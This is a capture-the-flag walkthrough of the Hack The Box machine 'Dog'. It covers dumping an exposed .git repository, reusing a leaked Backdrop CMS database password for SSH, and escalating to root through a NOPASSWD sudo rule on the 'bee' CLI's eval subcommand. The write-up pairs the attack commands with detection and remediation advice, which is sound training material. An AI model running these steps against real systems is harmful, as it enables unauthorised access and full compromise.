Dog
Executive summary — Dog is an Easy Linux box built on a chain of failures that's extremely realistic and depressingly common in sloppy CMS deployments: an exposed
.gitrepository on the web server lets you reconstruct the full source of a Backdrop CMS install (a Drupal 7 fork). Inside that source sit the CMS's database credentials, which turn out to be reused as the system user's SSH password. Once in,sudo -lreveals full permission onbee, Backdrop's official admin CLI, whoseevalsubcommand runs arbitrary PHP — and since it runs viasudo, that's instant root. Path: Web → exposed .git → credentials → SSH → bee eval → Root.
| Platform | Hack The Box |
| Operating system | Linux |
| Difficulty | Easy |
| Status | Retired |
| Target IP | <TARGET_IP> |
Attack map
[80] Backdrop CMS (fuzzing → /core /modules /themes /sites /files)
│ exposed .git/ → git-dumper → repository dump
▼
[CREDS] password in the CMS config → reused
▼
[SSH] johncusack (user.txt)
│ sudo -l → NOPASSWD /usr/local/bin/bee
▼
[BEE] bee eval "system('/bin/bash')" (as root)
▼
[ROOT]
1. Reconnaissance
We always start with a full port sweep, not just the top-1000: on web-focused "Easy" boxes the attack surface is often deliberately small, so confirming there are only two services already points the rest of the assessment toward HTTP.
nmap -sC -sV -p- <TARGET_IP>
22/tcp open ssh OpenSSH
80/tcp open http Apache
Two open ports: SSH (likely the final destination of a foothold, not the entry point) and HTTP, which is where we focus.
2. Web enumeration
We browse the site and run directory fuzzing to map it out:
http://<TARGET_IP>/
wfuzz -c -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
--hc 404 http://<TARGET_IP>/FUZZ
/core
/modules
/themes
/sites
/files
Why this layout matters:
/core,/modules,/themesand/sitesare the classic directory layout of the Drupal family (and its forks). We don't yet know the exact CMS, but we already know which family it belongs to — which tells us where to look next (e.g.sites/default/settings.phpis where Drupal/Backdrop keep the database config).
3. Exposed .git repository
We check whether the version-control directory was left reachable over HTTP — a classic mistake when a deploy is done by git clone-ing straight into the server's DocumentRoot:
http://<TARGET_IP>/.git/
HTTP/1.1 200 OK
Content-Type: text/plain
Why it's serious: the
.gitdirectory doesn't just hold the current state of the code, it holds its entire history: objects, blobs and past commits. If a secret was ever committed and then "removed" in a later commit, that secret is still in the history. With read-only HTTP access to the directory (no directory listing, but the internal files themselves are served) it's possible to reconstruct the whole repository from the outside.
4. Dumping the repository
There's no directory listing at /.git/, but Git's internal object files (HEAD, index, objects/, refs/...) live at predictable paths. git-dumper exploits exactly that: it requests the known internal Git files one by one, discovers the object hashes they reference, and recursively downloads until it can reconstruct a complete, working .git.
git clone https://github.com/internetwache/GitTools.git
cd GitTools/Dumper
python3 git_dumper.py http://<TARGET_IP>/.git/ ~/dog_repo
With the repository reconstructed locally, a simple git log also lets us see the commit history and its authors — useful for spotting candidate system usernames.
5. Code analysis
With the full source now local, we grep it recursively for secrets:
grep -R -i "password" .
grep -R -i "database" .
Database credentials show up in the CMS configuration (sites/default/settings.php, the standard config file across the Drupal/Backdrop family). That database password later turns out to be the key to system access.
Why a CMS stores the DB password in plaintext inside a code file: that's the normal way Drupal/Backdrop resolve their MySQL connection — the problem isn't that the file exists, it's that it ended up tracked in Git, and that Git repo was exposed to the public.
6. CMS fingerprinting
The directory layout and the dumped code confirm Backdrop CMS, a Drupal 7 fork aimed at simplifying administration for small teams. The installed version is 1.27.1, already outdated at the time of this box.
Backdrop, like the rest of the Drupal family, lets an authenticated administrator install/enable modules — and a module is nothing more than PHP code the CMS executes. That means the admin panel of this CMS family is, in general, a code-execution primitive in itself once you have an admin session. This box doesn't require going that route: the leaked credential takes us straight in over SSH, so that alternate path is only mentioned as context.
7. SSH access
With candidate usernames (pulled from the repository's commit authors, e.g. johncusack) and the password leaked in settings.php, we try credential reuse against SSH — a mistake as simple as it is common: the same password serves both the CMS's database and the developer's system account.
ssh johncusack@<TARGET_IP>
johncusack@dog:~$
8. User flag
cat ~/user.txt
9. Privilege enumeration
As always right after landing, we check what the user can run as root:
sudo -l
User johncusack may run the following commands on dog:
(ALL : ALL) NOPASSWD: /usr/local/bin/bee
A single line, but decisive:
johncusackcan run/usr/local/bin/beeas any user (including root) and without a password. We still need to know exactly whatbeedoes to know if that's a road to root.
10. Analysing bee
bee is Backdrop CMS's official admin CLI (the equivalent of Drush in Drupal): it manages modules, themes, cache, users, and more from the command line. Among its subcommands are eval and php-script, meant to let an admin run PHP snippets inside the CMS's already-"bootstrapped" context — with access to its whole internal API.
This isn't a bug in
bee: it's by design. Any tool whose explicit job is to evaluate arbitrary code is, by definition, an interpreter running with the privileges of whoever invokes it. Allowing that viasudowith no argument restriction is the same as handing out a root shell: PHP'ssystem()calls straight into the OS shell.
11. CMS location
To run eval, bee needs to locate a valid Backdrop install and complete its bootstrap process; without one, it fails with an insufficient-bootstrap error. We locate the install:
ls /var/www/html
core files index.php LICENSE.txt modules README.md robots.txt settings.php sites themes
bee resolves the install root two ways: from the current directory (cd into it, as we do here) or via an explicit --root=/var/www/html flag. We move into the directory so the automatic detection works:
cd /var/www/html
12. Privilege escalation
With bee now able to bootstrap the CMS, we invoke eval through sudo so it runs as root, and from PHP we spawn a system shell:
sudo bee eval "system('/bin/bash');"
whoami
root
Interactive shell as root, with no additional password and no CVE in the CMS itself required: the entire privesc rests solely on that NOPASSWD sudoers line.
13. Root flag
cat /root/root.txt
System fully compromised. 🏴☠️
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Recon | Web server | Directory layout typical of Drupal/Backdrop revealed by fuzzing | CMS family identification |
| Foothold | Web server / Git | .git/ reachable over HTTP → full repo dump with git-dumper | Complete source code and history, incl. committed secrets |
| Credentials | sites/default/settings.php | Plaintext database password inside the repository | Reusable credential discovered |
| User | SSH / credential reuse | The CMS DB password is also valid for the developer's system account | Interactive access as johncusack |
| PrivEsc | bee (Backdrop CLI) via sudo NOPASSWD | The eval subcommand runs arbitrary PHP (and thus shell commands) as root | Full root |
Defender's view
Dog is mostly about things left lying around. All of them are visible in standard Apache and sudo logs.
Exposed .git directory
How it shows up in logs / telemetry
- The Apache access log shows a burst of
200responses for/.git/HEAD,/.git/configand hundreds of/.git/objects/...paths from one client: unmistakable repository dumping, trivially matched by a SIEM rule on/.git/.
How to fix it
- Deploy built artifacts only, never the repository, and deny any path containing
/.gitat the web server. - Rotate every secret that was ever committed, then rewrite history with
git filter-repoor BFG.
Database password reused for SSH
How it shows up in logs / telemetry
auth.log:Accepted password for johncusackfrom an external address shortly after the.gitdownload from the same IP.
How to fix it
- Use unique credentials per service: the Backdrop database user should have its own random password that nobody types.
- Require SSH keys and disable password authentication for developer accounts.
sudo over bee and its eval subcommand
How it shows up in logs / telemetry
- sudo logs the full command, so
/usr/local/bin/beewith theevalsubcommand is a precise alert; a root shell spawned by a PHP process is the confirmation in process telemetry.
How to fix it
- Remove the NOPASSWD rule; site maintenance can run as the web user, not root.
- If root is really needed, wrap the specific maintenance task in a root-owned script without arbitrary arguments, and keep Backdrop on a supported release.
Lessons learned
- Never deploy with
.gitreachable in theDocumentRoot: ship only the built/exported artifacts, never the version-control repository. - Git history never forgets: "deleting" a secret in a later commit doesn't remove it from history; if it ever leaked, rotate it and scrub the history (
git filter-repo/ BFG), not just delete it from HEAD. - Never reuse passwords across services: an application database password should never also work for a system account over SSH.
- Audit what you allow via
sudo: any binary that can evaluate code (PHP, Python, Perl, Lua...) granted with NOPASSWD is equivalent to handing out a root shell, CVE or not. - Keep the CMS updated: an outdated version (here, Backdrop 1.27.1) widens the attack surface even though, in this specific case, the exploitation path didn't rely on a CMS-specific CVE.